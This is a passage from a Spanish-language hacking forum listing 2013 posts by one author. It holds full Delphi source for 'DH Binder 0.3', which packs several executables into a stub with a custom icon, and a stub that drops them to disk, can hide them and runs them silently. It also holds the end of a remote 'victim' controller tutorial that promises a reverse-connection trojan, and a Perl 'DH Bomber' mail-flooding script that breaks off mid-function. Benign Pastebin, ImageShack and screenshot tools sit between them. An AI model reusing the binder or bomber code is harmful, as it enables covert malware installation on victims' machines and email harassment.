      if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
      begin
        mciSendString('Set cdaudio door closed wait', nil, 0, handle);
        // Cerramos la lectora usando
        // mciSendString
      end;

    end;


    Una imagen de como deberia quedar el codigo.



    0x04 : Probando el programa

    El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente.
    Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd".
    Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP.

    Les muestro una imagen de como seria todo.



    Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi.

    --========--
      The End ?
    --========--

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#252
Delphi / [Delphi] DH Binder 0.3
Octubre 25, 2013, 12:05:37 PM
Un simple Binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado

    Una imagen :



    El codigo del Binder.

    Código: delphi

    // DH Binder 0.3
    // (C) Doddy Hackman 2013
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    unit dhbinde;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar,
      StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sStatusBar1: TsStatusBar;
        sListView1: TsListView;
        sGroupBox2: TsGroupBox;
        sGroupBox3: TsGroupBox;
        Image2: TImage;
        sButton1: TsButton;
        sGroupBox4: TsGroupBox;
        sComboBox1: TsComboBox;
        sGroupBox5: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sGroupBox6: TsGroupBox;
        sButton2: TsButton;
        sButton3: TsButton;
        sButton4: TsButton;
        PopupMenu1: TPopupMenu;
        l1: TMenuItem;
        OpenDialog1: TOpenDialog;
        OpenDialog2: TOpenDialog;
        sEdit1: TsEdit;
        C1: TMenuItem;
        procedure l1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sButton3Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses about;
    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.C1Click(Sender: TObject);
    begin
      sListView1.Items.Clear;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog2.InitialDir := GetCurrentDir;
      OpenDialog2.Filter := 'ICO|*.ico|';

    end;

    procedure TForm1.l1Click(Sender: TObject);
    var
      op: String;
    begin

      if OpenDialog1.Execute then
      begin

        op := InputBox('Add File', 'Execute Hide ?', 'Yes');

        with sListView1.Items.Add do
        begin
          Caption := ExtractFileName(OpenDialog1.FileName);
          if (op = 'Yes') then
          begin
            SubItems.Add(OpenDialog1.FileName);
            SubItems.Add('Hide');
          end
          else
          begin
            SubItems.Add(OpenDialog1.FileName);
            SubItems.Add('Normal');
          end;
        end;

      end;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin

      if OpenDialog2.Execute then
      begin
        Image2.Picture.LoadFromFile(OpenDialog2.FileName);
        sEdit1.Text := OpenDialog2.FileName;
      end;

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    var
      i: integer;
      nombre: string;
      ruta: string;
      tipo: string;
      savein: string;
      opcionocultar: string;
      lineafinal: string;
      uno: DWORD;
      tam: DWORD;
      dos: DWORD;
      tres: DWORD;
      todo: Pointer;
      change: DWORD;
      valor: string;
      stubgenerado: string;

    begin

      if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then
      begin
        ShowMessage('You have to choose two or more files');
      end
      else
      begin
        stubgenerado := 'done.exe';

        if (sCheckBox1.Checked = True) then
        begin
          opcionocultar := '1';
        end
        else
        begin
          opcionocultar := '0';
        end;

        if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := sComboBox1.Items[sComboBox1.ItemIndex];
        end;

        DeleteFile(stubgenerado);
        CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe')
            , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado),
          True);

        uno := BeginUpdateResource
          (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

        for i := 0 to sListView1.Items.Count - 1 do
        begin

          nombre := sListView1.Items[i].Caption;
          ruta := sListView1.Items[i].SubItems[0];
          tipo := sListView1.Items[i].SubItems[1];

          lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
            '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
          lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode')
            + '[63686175]';

          dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
          tam := GetFileSize(dos, nil);
          GetMem(todo, tam);
          ReadFile(dos, todo^, tam, tres, nil);
          CloseHandle(dos);
          UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL,
              SUBLANG_NEUTRAL), todo, tam);

        end;

        EndUpdateResource(uno, False);

        if not(sEdit1.Text = '') then
        begin
          try
            begin
              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                      + '/' + stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(sEdit1.Text)));
              EndUpdateResourceW(change, False);
              sStatusBar1.Panels[0].Text := '[+] Done ';
              Form1.sStatusBar1.Update;
            end;
          except
            begin
              sStatusBar1.Panels[0].Text := '[-] Error';
              Form1.sStatusBar1.Update;
            end;
          end;
        end
        else
        begin
          sStatusBar1.Panels[0].Text := '[+] Done ';
          Form1.sStatusBar1.Update;
        end;
      end;

    end;

    procedure TForm1.sButton3Click(Sender: TObject);
    begin
      Form2.Show;
    end;

    procedure TForm1.sButton4Click(Sender: TObject);
    begin
      Form1.Close();
    end;

    end.

    // The End ?


    El codigo del Stub

    Código: delphi

    // DH Binder 0.3
    // (C) Doddy Hackman 2013
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    // Stub

    program stub;

    uses
      Windows,
      SysUtils,
      ShellApi;

    // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    // Start the game

    function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
    var
      data: DWORD;
      uno: DWORD;
      dos: DWORD;
      cinco2: string;
      nombre: string;
      tipodecarga: string;
      ruta: string;
      ocultar: string;

    begin

      Result := True;

      cinco2 := cinco;
      cinco2 := regex(cinco2, '[63686175]', '[63686175]');
      cinco2 := dhencode(cinco2, 'decode');
      cinco2 := LowerCase(cinco2);

      nombre := regex(cinco2, '[nombre]', '[nombre]');
      tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
      ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
      ocultar := regex(cinco2, '[hide]', '[hide]');

      data := FindResource(0, cinco, cuatro);

      uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
        dos, nil);

      CloseHandle(uno);

      if (ocultar = '1') then
      begin
        SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
      end;

      if (tipodecarga = 'normal') then
      begin
        ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
      end
      else
      begin
        ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
      end;

    end;

    begin

      EnumResourceNames(0, RT_RCDATA, @start, 0);

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#253
Delphi / [Delphi] DH PasteBin Manager 0.2
Octubre 18, 2013, 05:44:04 PM
Un simple programa en delphi para subir y bajar codigos en pastebin.

Unas imagenes :







Los codigos :

Menu

Código: delphi

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit paste;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdMultipartFormData, PerlRegEx, sSkinManager, ComCtrls, sStatusBar,
  sGroupBox, sMemo, sButton, sEdit, sLabel, sListBox, acPNG, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;

    procedure FormCreate(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses formdown, formup;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/downloads';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  Form3.Show;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Uploader

Código: delphi

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit formup;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sEdit, sLabel, sGroupBox, acPNG, ExtCtrls,
  ComCtrls, sStatusBar, PerlRegEx, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, sMemo;

type
  TForm3 = class(TForm)
    sGroupBox4: TsGroupBox;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sEdit3: TsEdit;
    sEdit4: TsEdit;
    sGroupBox5: TsGroupBox;
    sButton3: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    OpenDialog1: TOpenDialog;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sMemo1: TsMemo;
    procedure sButton4Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}

procedure TForm3.sButton3Click(Sender: TObject);
var
  datos: TIdMultiPartFormDataStream;
  code: string;
  titulo: string;
  contenido: string;

  archivo: TextFile;
  texto: string;

begin

  titulo := ExtractFileName(sEdit3.Text);

  sMemo1.Lines.Clear;

  AssignFile(archivo, sEdit3.Text);
  Reset(archivo);

  while not Eof(archivo) do
  begin
    ReadLn(archivo, texto);
    sMemo1.Lines.Add(texto);
  end;

  CloseFile(archivo);

  contenido := sMemo1.Lines.Text;

  datos := TIdMultiPartFormDataStream.Create;

  datos.AddFormField('api_dev_key', 'fuck you');
  datos.AddFormField('api_option', 'paste');
  datos.AddFormField('api_paste_name', titulo);
  datos.AddFormField('api_paste_code', contenido);

  sStatusBar1.Panels[0].Text := '[+] Uploading ...';
  Form3.sStatusBar1.Update;

  code := IdHTTP1.Post('http://pastebin.com/api/api_post.php', datos);

  PerlRegEx1.Regex := 'pastebin';
  PerlRegEx1.Subject := code;

  if PerlRegEx1.Match then
  begin
    sStatusBar1.Panels[0].Text := '[+] Done';
    Form3.sStatusBar1.Update;
    sEdit4.Text := code;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[-] Error Uploading';
    Form3.sStatusBar1.Update;
  end;

end;

procedure TForm3.sButton4Click(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;

  if OpenDialog1.Execute then
  begin
    sEdit3.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm3.sButton5Click(Sender: TObject);
begin
  sEdit4.SelectAll;
  sEdit4.CopyToClipboard;
end;

end.

// The End ?


El downloader.

Código: delphi

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit formdown;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sListBox, sButton, sEdit, sLabel, sGroupBox, PerlRegEx,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, acPNG,
  ExtCtrls, ComCtrls, sStatusBar, sMemo, acProgressBar;

type
  TForm2 = class(TForm)
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sButton1: TsButton;
    sGroupBox3: TsGroupBox;
    sListBox1: TsListBox;
    sButton2: TsButton;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    PerlRegEx2: TPerlRegEx;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sProgressBar1: TsProgressBar;

    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure TForm2.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar1.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar1.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
  sProgressBar1.Position := 0;
  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.sButton1Click(Sender: TObject);
var
  url: string;
  url2: string;
  code: string;
  i: integer;
  viendo: string;
  chau: TStringList;

begin
  //

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  url := sEdit1.Text;
  url2 := sEdit2.Text;

  if not(url = '') then
  begin
    PerlRegEx1.Regex := 'pastebin';
    PerlRegEx1.Subject := url;

    if PerlRegEx1.Match then
    begin
      sListBox1.Items.Add(url);
    end;
  end;

  if not(url2 = '') then
  begin

    code := IdHTTP1.Get(url2);

    PerlRegEx1.Regex := '(.)(http://.+?)\1';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for i := 1 to PerlRegEx1.SubExpressionCount do
      begin
        viendo := PerlRegEx1.SubExpressions[i];

        PerlRegEx2.Regex := 'pastebin';
        PerlRegEx2.Subject := viendo;

        if PerlRegEx2.Match then
        begin
          sListBox1.Items.Add(viendo);
        end;
      end;
    end;

  end;

end;

procedure TForm2.sButton2Click(Sender: TObject);
var
  url: string;
  urlabajar: string;
  id: string;
  code: string;
  titulo: string;
  i: integer;
  archivobajado: TFileStream;
begin

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin

    //

    url := sListBox1.Items[i];

    PerlRegEx1.Regex := 'http:\/\/(.*)\/(.*)';
    PerlRegEx1.Subject := url;

    if PerlRegEx1.Match then
    begin

      urlabajar :=
        'http://pastebin.com/download.php?i=' + PerlRegEx1.SubExpressions[2];
      // sMemo1.Lines.Add(urlabajar);

      code := IdHTTP1.Get(url);

      PerlRegEx2.Regex := '<div class="paste_box_line1" title="(.*)">';
      PerlRegEx2.Subject := code;

      if PerlRegEx2.Match then
      begin
        titulo := PerlRegEx2.SubExpressions[1];
        // sMemo1.Lines.Add(titulo);

        // Baja esto carajo

        // sStatusBar1.Panels[0].Text := '[+] Downloading :' + urlabajar;
        // Form2.sStatusBar1.Update;

        archivobajado := TFileStream.Create(titulo + '.txt', fmCreate);

        try
          begin
            DeleteFile(titulo);
            IdHTTP1.Get(urlabajar, archivobajado);
            sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
            Form2.sStatusBar1.Update;
            archivobajado.Free;
          end;
        except
          sStatusBar1.Panels[0].Text := '[-] Failed download';
          Form2.sStatusBar1.Update;
          archivobajado.Free;
          Abort;
        end;


        //

      end;

    end;



    //

  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form2.sStatusBar1.Update;

end;

end.

// The End ?


Si quieren bajar el proyecto y el ejecutable lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#254
Delphi / [Delphi] ImageShack Uploader 0.1
Octubre 11, 2013, 02:55:17 PM
Un simple programa para subir imagenes a ImageShack.

Una imagen :



El codigo :

Código: delphi

// ImageShack Uploader 0.1
// Based in the API of ImageShack
// Coded By Doddy H

unit image;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdMultipartFormData, Buttons, sGroupBox, sSkinManager, sButton, sEdit,
  ComCtrls, sStatusBar, acPNG, ExtCtrls, PerlRegEx;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sEdit2: TsEdit;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;
    OpenDialog1: TOpenDialog;
    PerlRegEx1: TPerlRegEx;

    procedure FormCreate(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  OpenDialog1.InitialDir := GetCurrentDir;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  datos: TIdMultiPartFormDataStream;
  code: string;
begin

  if FileExists(sEdit1.Text) then
  begin

    sStatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', 'fuck you');
    datos.AddFile('fileupload', sEdit1.Text, 'application/octet-stream');
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    PerlRegEx1.Regex := '"image_link":"(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sEdit2.Text := PerlRegEx1.SubExpressions[1];
      sStatusBar1.Panels[0].Text := '[+] Done';
      Form1.sStatusBar1.Update;
    end
    else
    begin
      sStatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.sStatusBar1.Update;
    end;

  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] File not Found';
    Form1.sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#255
Perl / [Perl] DH ScreenShoter 0.1
Octubre 04, 2013, 02:31:25 PM
Un simple script en perl para sacar un screenshot y subirlo a imageshack.

El codigo :

Código: perl

#!usr/bin/perl
#DH ScreenShoter 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd

use Win32::GuiTest
  qw(GetAsyncKeyState GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use Time::HiRes "usleep";
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

$|++;

my $time;
my $nombrefecha;

my ( $dia, $mes, $anio, $hora, $minutos, $segundos ) = agarrate_la_hora();

$nombrefecha =
    $dia . "_"
  . $mes . "_"
  . $anio . "_"
  . $hora . "_"
  . $minutos . "_"
  . $segundos;

my $se = "captures";

unless ( -d $se ) {
    mkdir( $se, "777" );
}

chdir $se;

head();

print "[+] Save Photo with this name : ";
chomp( my $filename = <stdin> );

print "\n[+] Get Photo in this time : ";
chomp( my $timeop = <stdin> );

print "\n[+] Open photo after taking it ? : ";
chomp( my $load_image = <stdin> );

print "\n[+] Upload image to ImageShack ? : ";
chomp( my $imageshack = <stdin> );

print "\n[+] Taking shot in ";

if ( $timeop eq "" ) {
    $time = 1;
}
else {
    $time = $timeop;
}

for my $num ( reverse 1 .. $time ) {
    print "$num.. ";
    sleep 1;
}

if ( $filename eq "" ) {

    capturar_pantalla( $nombrefecha . ".jpg" );

}
else {

    capturar_pantalla($filename);

}

print "\a\a\a";
print "\n\n[+] Photo Taken\n";

if ( $imageshack =~ /y/ ) {
    if ( $filename eq "" ) {
        subirarchivo( $nombrefecha . ".jpg" );
    }
    else {
        subirarchivo($filename);
    }
}

if ( $load_image =~ /y/ ) {
    if ( $filename eq "" ) {
        system( $nombrefecha. ".jpg" );
    }
    else {
        system($filename);
    }
}

copyright();

## Functions

sub subirarchivo {

    my $your_key = "fuck you";    #Your API Key

    print "\n[+] Uploading ...\n";

    my $code = $nave->post(
        "https://post.imageshack.us/upload_api.php",
        Content_Type => "form-data",
        Content      => [
            key        => $your_key,
            fileupload => [ $_[0] ],
            format     => "json"
        ]
    )->content;

    if ( $code =~ /"image_link":"(.*?)"/ ) {
        print "\n[+] Link : " . $1 . "\n";
    }
    else {
        print "\n[-] Error uploading the image\n";
    }
}

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#             DH ScreenShoter 0.1             #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2012 == --");

    print "\n\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub capturar_pantalla {

    SendKeys("%{PRTSCR}");

    my $a = Win32::Clipboard::GetBitmap();

    open( FOTO, ">" . $_[0] );
    binmode(FOTO);
    print FOTO $a;
    close FOTO;

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

sub agarrate_la_hora {

    my ( $a, $b, $c, $d, $e, $f, $g, $h, $i ) = localtime(time);

    $f += 1900;
    $e++;

    return (
        $d, $e, $f, $c, $b, $a

    );

}

## The End ?
#256
Perl / [Perl Tk] DH Bomber 0.2
Septiembre 27, 2013, 12:45:30 PM
Un simple script para mandar mensajes de correo a donde quieran , para usarlo necesitan una cuenta en gmail , lo nuevo de esta version es que use otro modulo que hace que el script no tenga tantas dependencias como en la ultima version.

El codigo :

Código: perl

#!usr/bin/perl
#DH Bomber 0.2
#Coded By Doddy H

use Win32::OLE;

head();

print "\n[+] Host : ";
chomp( my $host = <stdin> );

print "\n[+] Port : ";
chomp( my $puerto = <stdin> );

print "\n[+] Username : ";
chomp( my $username = <stdin> );

print "\n[+] Password : ";
chomp( my $password = <stdin> );

print "\n[+] Count Message : ";
chomp( my $count = <stdin> );

print "\n[+] To : ";
chomp( my $to = <stdin> );

print "\n[+] Subject : ";
chomp( my $asunto = <stdin> );

print "\n[+] Body : ";
chomp( my $body = <stdin> );

print "\n[+] File to Send : ";
chomp( my $file = <stdin> );

print "\n[+] Starting ...\n\n";

for my $num ( 1 .. $count ) {
    print "[+] Sending Message : $num\n";
    sendmail(
        $host,     $puerto, $username, $password, $username, $username,
        $username, $to,     $asunto,   $body,     $file
    );
}

print "\n[+] Finished\n";

copyright();

sub head {
    print "\n\n-- == DH Bomber 0.2 == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2013\n\n";
    exit(1);
}

sub sendmail {

## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow

    my (
        $host, $port, $username, $password, $from, $cc,
        $bcc,  $to,   $asunto,   $mensaje,  $file
    ) = @_;

    $correo = Win32::OLE->new('CDO.Message');

    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusername',
        $username );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
        $password );
    $correo->Configuration->Fields->SetProperty( "Item",
